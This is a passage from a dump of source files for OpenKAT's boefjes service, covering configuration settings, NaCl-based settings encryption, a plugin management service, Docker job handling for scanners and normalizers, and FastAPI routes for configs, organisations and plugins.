settings_from_katalogus.items():\n        if key in allowed_keys:\n            new_env[key] = value\n\n    # The schema, besides dictating that a boefje cannot run if it is not matched, also provides an extra safeguard:\n    # it is possible to inject code if arguments are passed that \"escape\" the call to a tool. Hence, we should enforce\n    # the schema somewhere and make the schema as strict as possible.\n    if schema is not None:\n        validate(instance=new_env, schema=schema)\n\n    return {key: str(value) for key, value in new_env.items()}\n\n\ndef get_octopoes_api_connector(org_code: str) -> OctopoesAPIConnector:\n    return OctopoesAPIConnector(str(settings.octopoes_api), org_code)\n"
  },
  {
    "path": "boefjes/boefjes/config.py",
    "content": "import logging\nimport os\nfrom enum import Enum\nfrom pathlib import Path\nfrom typing import Any, Literal\n\nfrom pydantic import AnyHttpUrl, Field, FilePath, IPvAnyAddress, PostgresDsn, conint\nfrom pydantic_settings import BaseSettings, PydanticBaseSettingsSource, SettingsConfigDict\nfrom pydantic_settings.sources import EnvSettingsSource\n\nBASE_DIR: Path = Path(__file__).parent.resolve()\n\n# Set base dir to something generic when compiling environment docs\nif os.getenv(\"DOCS\"):\n    BASE_DIR = Path(\"../\")\n\n\nclass EncryptionMiddleware(Enum):\n    IDENTITY = \"IDENTITY\"\n    NACL_SEALBOX = \"NACL_SEALBOX\"\n\n\nclass BackwardsCompatibleEnvSettings(EnvSettingsSource):\n    backwards_compatibility_mapping = {\n        \"BOEFJES_BOEFJE_API_HOST\": \"BOEFJES_API_HOST\",\n        \"BOEFJES_BOEFJE_API_PORT\": \"BOEFJES_API_PORT\",\n        \"BOEFJE_API\": \"BOEFJES_API\",\n        \"BOEFJE_DOCKER_NETWORK\": \"BOEFJES_DOCKER_NETWORK\",\n        \"LOG_CFG\": \"BOEFJES_LOG_CFG\",\n        \"ENCRYPTION_MIDDLEWARE\": \"BOEFJES_ENCRYPTION_MIDDLEWARE\",\n        \"KATALOGUS_PRIVATE_KEY_B64\": \"BOEFJES_KATALOGUS_PRIVATE_KEY\",\n        \"KATALOGUS_PUBLIC_KEY_B64\": \"BOEFJES_KATALOGUS_PUBLIC_KEY\",\n    }\n\n    def __call__(self) -> dict[str, Any]:\n        d: dict[str, Any] = {}\n        env_vars = {k.lower(): v for k, v in os.environ.items()}\n        env_prefix = self.settings_cls.model_config.get(\"env_prefix\", \"\").lower()\n\n        for old_name, new_name in self.backwards_compatibility_mapping.items():\n            old_name, new_name = old_name.lower(), new_name.lower()\n\n            # New variable not explicitly set through env,\n            # ...but old variable has been explicitly set through env\n            if new_name not in env_vars and old_name in env_vars:\n                logging.warning(\"Deprecation: %s is deprecated, use %s instead\", old_name.upper(), new_name.upper())\n                d[new_name[len(env_prefix) :]] = env_vars[old_name]\n\n        return d\n\n\nclass Settings(BaseSettings):\n    log_cfg: FilePath = Field(BASE_DIR / \"logging.json\", description=\"Path to the logging configuration file\")\n\n    # Worker configuration\n    pool_size: int = Field(2, description=\"Number of workers to run per queue\")\n    poll_interval: float = Field(10.0, description=\"Time to wait before polling for tasks when all queues are empty\")\n    worker_heartbeat: float = Field(1.0, description=\"Seconds to wait before checking the workers when queues are full\")\n    deduplicate: bool = Field(False, description=\"Whether to apply deduplication\")\n    plugins: list[str] = Field(\n        default_factory=list, description=\"A list of plugin ids to filter on.\", examples=['[\"dns-records\"]']\n    )\n    images: list[str] = Field(\n        default_factory=list,\n        description=\"A list of oci images to filter on.\",\n        examples=['[\"docker.underdark.nl/librekat/openkat-generic:latest\"]'],\n    )\n\n    remote_ns: IPvAnyAddress = Field(\n        \"1.1.1.1\", description=\"Name server used for remote DNS resolution in the boefje runner\"\n    )\n\n    scan_profile_whitelist: dict[str, conint(strict=True, ge=0, le=4)] = Field(  # type: ignore\n        default_factory=dict,\n        description=\"Whitelist for normalizer ids allowed to produce scan profiles, including a maximum level.\",\n        examples=['{\"kat_external_db_normalize\": 3, \"kat_dns_normalize\": 1}'],\n    )\n\n    katalogus_db_uri: PostgresDsn = Field(\n        ...,\n        examples=[\"postgresql://xx:xx@host:5432/katalogus\"],\n        description=\"Katalogus Postgres DB URI\",\n        validation_alias=\"KATALOGUS_DB_URI\",\n    )\n\n    db_connection_pool_size: int = Field(\n        16, description=\"Database connection pool size\", validation_alias=\"KATALOGUS_DB_CONNECTION_POOL_SIZE\"\n    )\n\n    scheduler_api: AnyHttpUrl = Field(\n        ..., examples=[\"http://localhost:8004\"], description=\"Mula API URL\", validation_alias=\"SCHEDULER_API\"\n    )\n    katalogus_api: AnyHttpUrl = Field(\n        ..., examples=[\"http://localhost:8003\"], description=\"Katalogus API URL\", validation_alias=\"KATALOGUS_API\"\n    )\n    octopoes_api: AnyHttpUrl = Field(\n        ..., examples=[\"http://localhost:8001\"], description=\"Octopoes API URL\", validation_alias=\"OCTOPOES_API\"\n    )\n    api: AnyHttpUrl = Field(\n        ..., examples=[\"http://boefje:8000\"], description=\"The URL on which the boefjes API is available\"\n    )\n    # Boefje server settings\n    api_host: str = Field(\"0.0.0.0\", description=\"Host address of the Boefje API server\")\n    api_port: int = Field(8000, description=\"Host port of the Boefje API server\")\n    docker_network: str = Field(\"bridge\", description=\"Docker network to run Boefjes in\")\n    docker_internal_host: bool = Field(\n        False,\n        description='Add \"host.docker.internal:host-gateway\" to extra_hosts when running boefje. '\n        \"This is enabled by default in the Debian package.\",\n    )\n    bytes_api: AnyHttpUrl = Field(\n        ..., examples=[\"http://localhost:8002\"], description=\"Bytes API URL\", validation_alias=\"BYTES_API\"\n    )\n    bytes_username: str = Field(\n        ..., examples=[\"test\"], description=\"Bytes JWT login username\", validation_alias=\"BYTES_USERNAME\"\n    )\n    bytes_password: str = Field(\n        ..., examples=[\"secret\"], description=\"Bytes JWT login password\", validation_alias=\"BYTES_PASSWORD\"\n    )\n\n    encryption_middleware: EncryptionMiddleware = Field(\n        EncryptionMiddleware.IDENTITY,\n        description=\"Toggle used to configure the encryption strategy\",\n        examples=[\"IDENTITY\", \"NACL_SEALBOX\"],\n    )\n\n    katalogus_private_key: str = Field(\n        \"\", description=\"Base64 encoded private key used for asymmetric encryption of settings\"\n    )\n    katalogus_public_key: str = Field(\n        \"\", description=\"Base64 encoded public key used for asymmetric encryption of settings\"\n    )\n\n    span_export_grpc_endpoint: AnyHttpUrl | None = Field(\n        None, description=\"OpenTelemetry endpoint\", validation_alias=\"SPAN_EXPORT_GRPC_ENDPOINT\"\n    )\n\n    logging_format: Literal[\"text\", \"json\"] = Field(\"text\", description=\"Logging format\")\n\n    outgoing_request_timeout: int = Field(30, description=\"Timeout for outgoing HTTP requests\")\n\n    model_config = SettingsConfigDict(env_prefix=\"BOEFJES_\")\n\n    @classmethod\n    def settings_customise_sources(\n        cls,\n        settings_cls: type[BaseSettings],\n        init_settings: PydanticBaseSettingsSource,\n        env_settings: PydanticBaseSettingsSource,\n        dotenv_settings: PydanticBaseSettingsSource,\n        file_secret_settings: PydanticBaseSettingsSource,\n    ) -> tuple[PydanticBaseSettingsSource, ...]:\n        backwards_compatible_settings = BackwardsCompatibleEnvSettings(settings_cls)\n        return env_settings, init_settings, file_secret_settings, backwards_compatible_settings\n\n\n# Do not initialize the settings module when compiling environment docs\nif not os.getenv(\"DOCS\"):\n    settings = Settings()\n"
  },
  {
    "path": "boefjes/boefjes/dependencies/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/dependencies/encryption.py",
    "content": "import abc\nimport base64\n\nfrom nacl.public import Box, PrivateKey, PublicKey\n\n\nclass EncryptMiddleware(abc.ABC):\n    @abc.abstractmethod\n    def encode(self, contents: str) -> str:\n        pass\n\n    @abc.abstractmethod\n    def decode(self, contents: str) -> str:\n        pass\n\n\nclass IdentityMiddleware(EncryptMiddleware):\n    def encode(self, contents: str) -> str:\n        return contents\n\n    def decode(self, contents: str) -> str:\n        return contents\n\n\nclass NaclBoxMiddleware(EncryptMiddleware):\n    \"\"\"NaclBoxMiddleware implements NaCl Box encryption\n    More info: https://pynacl.readthedocs.io/en/latest/public/\n    \"\"\"\n\n    def __init__(self, private_key: str, public_key: str):\n        sk = PrivateKey(base64.b64decode(private_key))\n        pk = PublicKey(base64.b64decode(public_key))\n        self.box: Box = Box(sk, pk)\n\n    def encode(self, contents: str) -> str:\n        encrypted_contents = self.box.encrypt(contents.encode())\n        base64_encrypted_contents = base64.b64encode(encrypted_contents)\n        return base64_encrypted_contents.decode()\n\n    def decode(self, contents: str) -> str:\n        encrypted_binary = base64.b64decode(contents)\n        nonce = encrypted_binary[0 : self.box.NONCE_SIZE]\n        data = encrypted_binary[self.box.NONCE_SIZE :]\n\n        return self.box.decrypt(data, nonce).decode()\n"
  },
  {
    "path": "boefjes/boefjes/dependencies/plugins.py",
    "content": "from collections.abc import Iterator\nfrom pathlib import Path\nfrom typing import Literal\n\nimport structlog\nfrom fastapi import Query\nfrom jsonschema.exceptions import ValidationError\nfrom jsonschema.validators import validate\nfrom sqlalchemy.orm import Session\n\nfrom boefjes.sql.config_storage import create_config_storage\nfrom boefjes.sql.db import session_managed_iterator\nfrom boefjes.sql.plugin_storage import create_plugin_storage\nfrom boefjes.storage.interfaces import (\n    ConfigStorage,\n    DuplicatePlugin,\n    PluginNotFound,\n    PluginStorage,\n    SettingsNotConformingToSchema,\n)\nfrom boefjes.worker.models import Boefje, FilterParameters, Normalizer, PaginationParameters, PluginType\nfrom boefjes.worker.repository import BoefjeResource, LocalPluginRepository, NormalizerResource, get_local_repository\n\nlogger = structlog.get_logger(__name__)\n\n\nclass PluginService:\n    def __init__(self, plugin_storage: PluginStorage, config_storage: ConfigStorage, local_repo: LocalPluginRepository):\n        self.plugin_storage = plugin_storage\n        self.config_storage = config_storage\n        self.local_repo = local_repo\n\n    def __enter__(self):\n        self.plugin_storage.__enter__()\n        self.config_storage.__enter__()\n\n        return self\n\n    def __exit__(self, exc_type, exc_val, exc_tb):\n        self.plugin_storage.__exit__(exc_type, exc_val, exc_tb)\n        self.config_storage.__exit__(exc_type, exc_val, exc_tb)\n\n    def get_all(self, organisation_id: str) -> list[PluginType]:\n        all_plugins = self._get_all_without_enabled()\n        plugin_states = self.config_storage.get_states_for_organisation(organisation_id)\n\n        for plugin in all_plugins.values():\n            if plugin.id not in plugin_states:\n                continue\n\n            all_plugins[plugin.id] = plugin.model_copy(update={\"enabled\": plugin_states[plugin.id]})\n\n        return list(all_plugins.values())\n\n    def _get_all_without_enabled(self) -> dict[str, PluginType]:\n        all_plugins = {plugin.id: plugin for plugin in self.plugin_storage.get_all()}\n\n        for plugin in self.local_repo.get_all():  # Local plugins take precedence\n            all_plugins[plugin.id] = plugin\n\n        return all_plugins\n\n    def by_plugin_id(self, plugin_id: str, organisation_id: str) -> PluginType:\n        all_plugins = self.get_all(organisation_id)\n\n        for plugin in all_plugins:\n            if plugin.id == plugin_id:\n                return plugin\n\n        raise KeyError(f\"Plugin {plugin_id} not found for {organisation_id}\")\n\n    def by_plugin_ids(self, plugin_ids: list[str], organisation_id: str) -> list[PluginType]:\n        all_plugins = self.get_all(organisation_id)\n        plugin_map: dict[str, PluginType] = {plugin.id: plugin for plugin in all_plugins}\n\n        found_plugins = []\n        for plugin_id in plugin_ids:\n            if plugin_id in plugin_map:\n                found_plugins.append(plugin_map[plugin_id])\n            else:\n                raise KeyError(f\"Plugin {plugin_id} not found for {organisation_id}\")\n\n        return found_plugins\n\n    def get_all_settings(self, organisation_id: str, plugin_id: str):\n        return self.config_storage.get_all_settings(organisation_id, plugin_id)\n\n    def clone_settings_to_organisation(self, from_organisation: str, to_organisation: str):\n        # One requirement is that only boefjes enabled in the from_organisation end up being enabled for the target,\n        # and only normalizers disabled in the from_organisation end up being disabled.\n        for plugin_id in self.config_storage.get_enabled_boefjes(to_organisation):\n            self.set_enabled_by_id(plugin_id, to_organisation, enabled=False)\n\n        for plugin_id in self.config_storage.get_enabled_normalizers(to_organisation):\n            self.set_enabled_by_id(plugin_id, to_organisation, enabled=True)\n\n        # Clone all settings from the from_organisation to the to_organisation\n        for plugin in self._get_all_without_enabled().values():\n            if not isinstance(plugin, Boefje):  # Only boefjes have settings\n                continue\n            if all_settings := self.get_all_settings(from_organisation, plugin.id):\n                self.upsert_settings(all_settings, to_organisation, plugin.id)\n\n        # Enable the same boefjes\n        for plugin_id in self.config_storage.get_enabled_boefjes(from_organisation):\n            self.set_enabled_by_id(plugin_id, to_organisation, enabled=True)\n\n        # Disable the same normalizers\n        for plugin_id in self.config_storage.get_disabled_normalizers(from_organisation):\n            self.set_enabled_by_id(plugin_id, to_organisation, enabled=False)\n\n    def upsert_settings(self, settings: dict, organisation_id: str, plugin_id: str):\n        self._assert_settings_match_schema(settings, plugin_id, organisation_id)\n        self._put_boefje(plugin_id)\n\n        return self.config_storage.upsert(organisation_id, plugin_id, settings=settings)\n\n    def create_boefje(self, boefje: Boefje) -> None:\n        try:\n            self.local_repo.by_id(boefje.id)\n            raise DuplicatePlugin(\"id\")\n        except KeyError:\n            try:\n                plugin = self.local_repo.by_name(boefje.name)\n\n                if isinstance(plugin, BoefjeResource):\n                    raise DuplicatePlugin(\"name\")\n                else:\n                    self.plugin_storage.create_boefje(boefje)\n            except KeyError:\n                self.plugin_storage.create_boefje(boefje)\n\n    def create_normalizer(self, normalizer: Normalizer) -> None:\n        try:\n            self.local_repo.by_id(normalizer.id)\n            raise DuplicatePlugin(field=\"id\")\n        except KeyError:\n            try:\n                plugin = self.local_repo.by_name(normalizer.name)\n\n                if isinstance(plugin, NormalizerResource):\n                    raise DuplicatePlugin(field=\"name\")\n                else:\n                    self.plugin_storage.create_normalizer(normalizer)\n            except KeyError:\n                self.plugin_storage.create_normalizer(normalizer)\n\n    def _put_boefje(self, boefje_id: str) -> None:\n        \"\"\"Check existence of a boefje, and insert a database entry if it concerns a local boefje\"\"\"\n\n        try:\n            self.plugin_storage.boefje_by_id(boefje_id)\n        except PluginNotFound as e:\n            try:\n                plugin = self.local_repo.by_id(boefje_id)\n            except KeyError:\n                raise e\n\n            if not isinstance(plugin, BoefjeResource):\n                raise e\n            self.plugin_storage.create_boefje(plugin.boefje)\n\n    def _put_normalizer(self, normalizer_id: str) -> None:\n        \"\"\"Check existence of a normalizer, and insert a database entry if it concerns a local normalizer\"\"\"\n\n        try:\n            self.plugin_storage.normalizer_by_id(normalizer_id)\n        except PluginNotFound:\n            try:\n                plugin = self.local_repo.by_id(normalizer_id)\n            except KeyError:\n                raise\n\n            if not isinstance(plugin, NormalizerResource):\n                raise\n            self.plugin_storage.create_normalizer(plugin.normalizer)\n\n    def delete_settings(self, organisation_id: str, plugin_id: str):\n        self.config_storage.delete(organisation_id, plugin_id)\n\n        # We don't check the schema anymore because we can provide entries through the global environment as well\n\n    def schema(self, plugin_id: str) -> dict | None:\n        plugin = self._get_all_without_enabled().get(plugin_id)\n\n        if plugin is None or not isinstance(plugin, Boefje):\n            return None\n\n        return plugin.boefje_schema\n\n    def cover(self, plugin_id: str) -> Path:\n        try:\n            return self.local_repo.cover_path(plugin_id)\n        except KeyError:\n            return self.local_repo.default_cover_path()\n\n    def description(self, plugin_id: str, organisation_id: str) -> str:\n        local_path = self.local_repo.description_path(plugin_id)\n\n        if local_path and local_path.exists():\n            return local_path.read_text()\n\n        try:\n            return self.by_plugin_id(plugin_id, organisation_id).description or \"\"\n        except KeyError:\n            logger.error(\"Plugin not found: %s\", plugin_id)\n            return \"\"\n\n    def set_enabled_by_id(self, plugin_id: str, organisation_id: str, enabled: bool):\n        # We don't check the schema anymore because we can provide entries through the global environment as well\n\n        try:\n            self._put_boefje(plugin_id)\n        except PluginNotFound:\n            self._put_normalizer(plugin_id)\n\n        self.config_storage.upsert(organisation_id, plugin_id, enabled=enabled)\n\n    def _assert_settings_match_schema(self, all_settings: dict, plugin_id: str, organisation_id: str):\n        schema = self.by_plugin_id(plugin_id, organisation_id).boefje_schema\n\n        if schema:  # No schema means that there is nothing to assert\n            try:\n                validate(instance=all_settings, schema=schema)\n            except ValidationError as e:\n                raise SettingsNotConformingToSchema(plugin_id, e.message) from e\n\n\ndef get_plugin_service() -> Iterator[PluginService]:\n    def closure(session: Session):\n        return PluginService(create_plugin_storage(session), create_config_storage(session), get_local_repository())\n\n    yield from session_managed_iterator(closure)\n\n\ndef get_pagination_parameters(offset: int = 0, limit: int | None = None) -> PaginationParameters:\n    return PaginationParameters(offset=offset, limit=limit)\n\n\ndef get_plugins_filter_parameters(\n    q: str | None = None,\n    ids: list[str] | None = Query(None),\n    plugin_type: Literal[\"boefje\", \"normalizer\", \"bit\"] | None = None,\n    state: bool | None = None,\n    oci_image: str | None = None,\n    consumes: set[str] | None = Query(None),\n    produces: set[str] | None = Query(None),\n) -> FilterParameters:\n    return FilterParameters(\n        q=q, ids=ids, type=plugin_type, state=state, oci_image=oci_image, consumes=consumes, produces=produces\n    )\n"
  },
  {
    "path": "boefjes/boefjes/job_handler.py",
    "content": "import os\nfrom collections.abc import Callable\nfrom datetime import datetime, timezone\nfrom typing import Literal, cast\n\nimport docker\nimport structlog\nfrom docker.errors import APIError, ContainerError, ImageNotFound\nfrom httpx import HTTPError\n\nfrom boefjes.clients.bytes_client import BytesAPIClient\nfrom boefjes.clients.scheduler_client import SchedulerAPIClient, get_octopoes_api_connector\nfrom boefjes.config import settings\nfrom boefjes.normalizer_interfaces import NormalizerJobRunner\nfrom boefjes.worker.boefje_handler import _copy_raw_files\nfrom boefjes.worker.interfaces import BoefjeHandler, BoefjeOutput, NormalizerHandler, Task, TaskStatus\nfrom boefjes.worker.job_models import BoefjeMeta\nfrom boefjes.worker.repository import _default_mime_types\nfrom octopoes.api.models import Affirmation, Declaration, Observation\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.models import Reference, ScanLevel\n\nlogger = structlog.get_logger(__name__)\n\nbytes_api_client = BytesAPIClient(\n    str(settings.bytes_api), username=settings.bytes_username, password=settings.bytes_password\n)\n\n\nPASSTHROUGH_ENV_VARS = (\n    \"REQUESTS_CA_BUNDLE\",\n    \"CURL_CA_BUNDLE\",\n    \"SSL_CERT_FILE\",\n    \"HTTP_PROXY\",\n    \"HTTPS_PROXY\",\n    \"NO_PROXY\",\n)\n\n\nclass DockerBoefjeHandler(BoefjeHandler):\n    CACHE_VOLUME_NAME = \"openkat_cache\"\n    CACHE_VOLUME_TARGET = \"/home/nonroot/openkat_cache\"\n\n    def __init__(self, scheduler_client: SchedulerAPIClient, bytes_api_client: BytesAPIClient):\n        self.docker_client = docker.from_env()\n        self.scheduler_client = scheduler_client\n        self.bytes_api_client = bytes_api_client\n\n    def handle(self, task: Task) -> tuple[BoefjeMeta, BoefjeOutput] | None | Literal[False]:\n        boefje_meta = task.data\n        oci_image = boefje_meta.arguments[\"oci_image\"]\n\n        if not oci_image:\n            raise RuntimeError(\"Boefje does not have OCI image\")\n\n        stderr_mime_types = _default_mime_types(boefje_meta.boefje)\n        task_id = boefje_meta.id\n        boefje_meta.started_at = datetime.now(timezone.utc)\n\n        try:\n            input_url = str(settings.api).rstrip(\"/\") + f\"/api/v0/tasks/{task_id}\"\n            if settings.docker_internal_host:\n                kwargs = {\"extra_hosts\": {\"host.docker.internal\": \"host-gateway\"}}\n            else:\n                kwargs = {}\n\n            container_logs = self.docker_client.containers.run(\n                image=oci_image,\n                name=\"kat_boefje_\" + str(task_id),\n                command=input_url,\n                stdout=False,\n                stderr=True,\n                remove=True,\n                network=settings.docker_network,\n                volumes=[f\"{self.CACHE_VOLUME_NAME}:{self.CACHE_VOLUME_TARGET}\"],\n                environment={\n                    **{k: os.environ[k] for k in PASSTHROUGH_ENV_VARS if k in os.environ},\n                    **(boefje_meta.environment or {}),\n                },\n                **kwargs,\n            )\n\n            task = self.scheduler_client.get_task(task_id)\n\n            # if status is still running the container didn't call the output API endpoint, so set to status to failed\n            if task.status == TaskStatus.RUNNING:\n                boefje_meta.ended_at = datetime.now(timezone.utc)\n                self.bytes_api_client.save_boefje_meta(boefje_meta)  # The task didn't create a boefje_meta object\n                self.bytes_api_client.save_raw(task_id, container_logs, stderr_mime_types.union({\"error/boefje\"}))\n                self.scheduler_client.patch_task(task_id, TaskStatus.FAILED)\n\n                # have to raise exception to prevent _start_working function from setting status to completed\n                raise RuntimeError(\"Boefje did not call output API endpoint\")\n        except ContainerError as e:\n            logger.error(\"Container for task %s failed and returned exit status %d\", task_id, e.exit_status)\n            self.bytes_api_client.login()\n\n            try:\n                self.bytes_api_client.get_boefje_meta(boefje_meta.id)\n                logger.info(\"Container managed to save its raw data to bytes itself.\")\n            except HTTPError:\n                logger.info(\n                    \"Container did not manage to save its raw data to bytes, saving the container stderr instead.\"\n                )\n\n                boefje_meta.ended_at = datetime.now(timezone.utc)\n                self.bytes_api_client.save_boefje_meta(boefje_meta)\n                self.bytes_api_client.save_raw(task_id, e.stderr, stderr_mime_types)\n                self.scheduler_client.patch_task(task_id, TaskStatus.FAILED)\n        except ImageNotFound:\n            logger.error(\"Docker image %s not found\", oci_image)\n            self.scheduler_client.patch_task(task_id, TaskStatus.FAILED)\n        except APIError as e:\n            logger.error(\"Docker API error: %s\", e)\n            self.scheduler_client.patch_task(task_id, TaskStatus.FAILED)\n\n        return False\n\n    def copy_raw_files(\n        self, task: Task, output: tuple[BoefjeMeta, BoefjeOutput] | Literal[False], duplicated_tasks: list[Task]\n    ) -> None:\n        if output is not False:\n            return  # Output belonged to a regular boefje\n\n        boefje_meta = self.bytes_api_client.get_boefje_meta(task.data.id)\n        boefje_output = self.bytes_api_client.get_raws(task.data.id)\n\n        _copy_raw_files(self.bytes_api_client, boefje_meta, boefje_output, duplicated_tasks)\n\n\nclass LocalNormalizerHandler(NormalizerHandler):\n    def __init__(\n        self,\n        job_runner: NormalizerJobRunner,\n        bytes_client: BytesAPIClient,\n        whitelist: dict[str, int] | None = None,\n        octopoes_factory: Callable[[str], OctopoesAPIConnector] = get_octopoes_api_connector,\n    ):\n        self.job_runner = job_runner\n        self.bytes_client: BytesAPIClient = bytes_client\n        self.whitelist = whitelist or {}\n        self.octopoes_factory = octopoes_factory\n\n    def handle(self, task: Task):\n        normalizer_meta = task.data\n        logger.info(\"Handling normalizer %s[%s]\", normalizer_meta.normalizer.id, normalizer_meta.id)\n\n        raw = self.bytes_client.get_raw(normalizer_meta.raw_data.id)\n\n        normalizer_meta.started_at = datetime.now(timezone.utc)\n\n        try:\n            results = self.job_runner.run(normalizer_meta, raw)\n            connector = self.octopoes_factory(normalizer_meta.raw_data.boefje_meta.organization)\n\n            logger.info(\"Obtained results %s\", str(results))\n\n            for observation in results.observations:\n                for ooi in observation.results:\n                    if ooi.primary_key == observation.input_ooi:\n                        logger.warning(\n                            'Normalizer \"%s\" returned input [%s]', normalizer_meta.normalizer.id, observation.input_ooi\n                        )\n                reference = Reference.from_str(observation.input_ooi)\n                connector.save_observation(\n                    Observation(\n                        method=normalizer_meta.normalizer.id,\n                        source=reference,\n                        source_method=normalizer_meta.raw_data.boefje_meta.boefje.id,\n                        task_id=normalizer_meta.id,\n                        valid_time=normalizer_meta.raw_data.boefje_meta.ended_at,\n                        result=[ooi for ooi in observation.results if ooi.primary_key != observation.input_ooi],\n                    )\n                )\n\n            for declaration in results.declarations:\n                connector.save_declaration(\n                    Declaration(\n                        method=normalizer_meta.normalizer.id,\n                        source_method=normalizer_meta.raw_data.boefje_meta.boefje.id,\n                        ooi=declaration.ooi,\n                        task_id=normalizer_meta.id,\n                        valid_time=normalizer_meta.raw_data.boefje_meta.ended_at,\n                    )\n                )\n\n            for affirmation in results.affirmations:\n                connector.save_affirmation(\n                    Affirmation(\n                        method=normalizer_meta.normalizer.id,\n                        source_method=normalizer_meta.raw_data.boefje_meta.boefje.id,\n                        ooi=affirmation.ooi,\n                        task_id=normalizer_meta.id,\n                        valid_time=normalizer_meta.raw_data.boefje_meta.ended_at,\n                    )\n                )\n\n            if (\n                normalizer_meta.raw_data.boefje_meta.input_ooi  # No input OOI means no deletion propagation\n                and not (results.observations or results.declarations or results.affirmations)\n            ):\n                # There were no results found, which we still need to signal to Octopoes for deletion propagation\n\n                connector.save_observation(\n                    Observation(\n                        method=normalizer_meta.normalizer.id,\n                        source=Reference.from_str(normalizer_meta.raw_data.boefje_meta.input_ooi),\n                        source_method=normalizer_meta.raw_data.boefje_meta.boefje.id,\n                        task_id=normalizer_meta.id,\n                        valid_time=normalizer_meta.raw_data.boefje_meta.ended_at,\n                        result=[],\n                    )\n                )\n\n            corrected_scan_profiles = []\n            for profile in results.scan_profiles:\n                profile.level = ScanLevel(\n                    min(profile.level, self.whitelist.get(normalizer_meta.normalizer.id, profile.level))\n                )\n                corrected_scan_profiles.append(profile)\n\n            validated_scan_profiles = [\n                profile\n                for profile in corrected_scan_profiles\n                if self.whitelist and profile.level <= self.whitelist.get(normalizer_meta.normalizer.id, -1)\n            ]\n            if validated_scan_profiles:\n                connector.save_many_scan_profiles(\n                    results.scan_profiles,\n                    # Mypy doesn't seem to be able to figure out that ended_at is a datetime\n                    valid_time=cast(datetime, normalizer_meta.raw_data.boefje_meta.ended_at),\n                )\n        finally:\n            normalizer_meta.ended_at = datetime.now(timezone.utc)\n            self.bytes_client.save_normalizer_meta(normalizer_meta)\n\n        logger.info(\"Done with normalizer %s[%s]\", normalizer_meta.normalizer.id, normalizer_meta.id)\n"
  },
  {
    "path": "boefjes/boefjes/katalogus/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/katalogus/configs.py",
    "content": "import structlog\nfrom fastapi import APIRouter, Depends\n\nfrom boefjes.config import settings\nfrom boefjes.dependencies.plugins import get_pagination_parameters\nfrom boefjes.sql.config_storage import get_config_storage\nfrom boefjes.storage.interfaces import ConfigStorage\nfrom boefjes.worker.models import BoefjeConfig, PaginationParameters\n\nrouter = APIRouter(tags=[\"configs\"])\n\nlogger = structlog.get_logger(__name__)\n\n\n@router.get(\"/configs\", response_model=list[BoefjeConfig])\ndef list_configs(\n    organisation_id: str | None = None,\n    boefje_id: str | None = None,\n    enabled: bool | None = None,\n    with_duplicates: bool = False,\n    pagination_params: PaginationParameters = Depends(get_pagination_parameters),\n    config_storage: ConfigStorage = Depends(get_config_storage),\n) -> list[BoefjeConfig]:\n    if not settings.deduplicate:\n        with_duplicates = False\n\n    with config_storage as store:\n        configs = store.list_boefje_configs(\n            pagination_params.offset, pagination_params.limit, organisation_id, boefje_id, enabled, with_duplicates\n        )\n\n    return configs\n"
  },
  {
    "path": "boefjes/boefjes/katalogus/organisations.py",
    "content": "from fastapi import APIRouter, Depends, HTTPException, status\n\nfrom boefjes.sql.db import ObjectNotFoundException\nfrom boefjes.sql.organisation_storage import get_organisations_store\nfrom boefjes.storage.interfaces import OrganisationStorage\nfrom boefjes.worker.models import Organisation\n\nrouter = APIRouter(prefix=\"/organisations\", tags=[\"organisations\"])\n\n\n@router.get(\"\", response_model=dict[str, Organisation])\ndef list_organisations(storage: OrganisationStorage = Depends(get_organisations_store)):\n    with storage as store:\n        return store.get_all()\n\n\n@router.get(\"/{organisation_id}\", response_model=Organisation)\ndef get_organisation(organisation_id: str, storage: OrganisationStorage = Depends(get_organisations_store)):\n    try:\n        with storage as store:\n            return store.get_by_id(organisation_id)\n    except (KeyError, ObjectNotFoundException):\n        raise HTTPException(status.HTTP_404_NOT_FOUND, \"Unknown organisation\")\n\n\n@router.post(\"/\", status_code=status.HTTP_201_CREATED)\ndef add_organisation(organisation: Organisation, storage: OrganisationStorage = Depends(get_organisations_store)):\n    with storage as store:\n        store.create(organisation)\n\n\n@router.put(\"/\")\ndef upsert_organisation(organisation: Organisation, storage: OrganisationStorage = Depends(get_organisations_store)):\n    with storage as store:\n        store.update(organisation)\n\n\n@router.delete(\"/{organisation_id}\")\ndef remove_organisation(organisation_id: str, storage: OrganisationStorage = Depends(get_organisations_store)):\n    with storage as store:\n        store.delete_by_id(organisation_id)\n"
  },
  {
    "path": "boefjes/boefjes/katalogus/plugins.py",
    "content": "import datetime\n\nimport structlog\nfrom croniter import croniter\nfrom fastapi import APIRouter, Body, Depends, HTTPException, status\nfrom fastapi.responses import FileResponse, JSONResponse, Response\nfrom jsonschema.exceptions import SchemaError\nfrom jsonschema.validators import Draft202012Validator\nfrom pydantic import BaseModel, Field, field_validator\n\nfrom boefjes.dependencies.plugins import (\n    PluginService,\n    get_pagination_parameters,\n    get_plugin_service,\n    get_plugins_filter_parameters,\n)\nfrom boefjes.sql.db_models import RunOn\nfrom boefjes.sql.plugin_storage import get_plugin_storage\nfrom boefjes.storage.interfaces import DuplicatePlugin, IntegrityError, NotAllowed, PluginStorage, UniqueViolation\nfrom boefjes.worker.models import FilterParameters, PaginationParameters, PluginType\n\nrouter = APIRouter(prefix=\"/organisations/{organisation_id}\", tags=[\"plugins\"])\n\nlogger = structlog.get_logger(__name__)\n\n\n# check if query matches plugin id, name or description\ndef _plugin_matches_query(plugin: PluginType, query: str) -> bool:\n    return (\n        query in plugin.id\n        or (plugin.name is not None and query in plugin.name)\n        or (plugin.description is not None and query in plugin.description)\n    )\n\n\n# todo: sorting?\n@router.get(\"/plugins\", response_model=list[PluginType])\ndef list_plugins(\n    organisation_id: str,\n    filter_params: FilterParameters = Depends(get_plugins_filter_parameters),\n    pagination_params: PaginationParameters = Depends(get_pagination_parameters),\n    plugin_service: PluginService = Depends(get_plugin_service),\n) -> list[PluginType]:\n    if filter_params.ids:\n        try:\n            with plugin_service as service:\n                plugins = service.by_plugin_ids(filter_params.ids, organisation_id)\n        except KeyError:\n            raise HTTPException(status.HTTP_404_NOT_FOUND, \"Plugin not found\")\n    else:\n        with plugin_service as service:\n            plugins = service.get_all(organisation_id)\n\n    # filter plugins by id, name or description\n    if filter_params.q is not None:\n        plugins = [plugin for plugin in plugins if _plugin_matches_query(plugin, filter_params.q)]\n\n    # filter plugins by type\n    if filter_params.type is not None:\n        plugins = [plugin for plugin in plugins 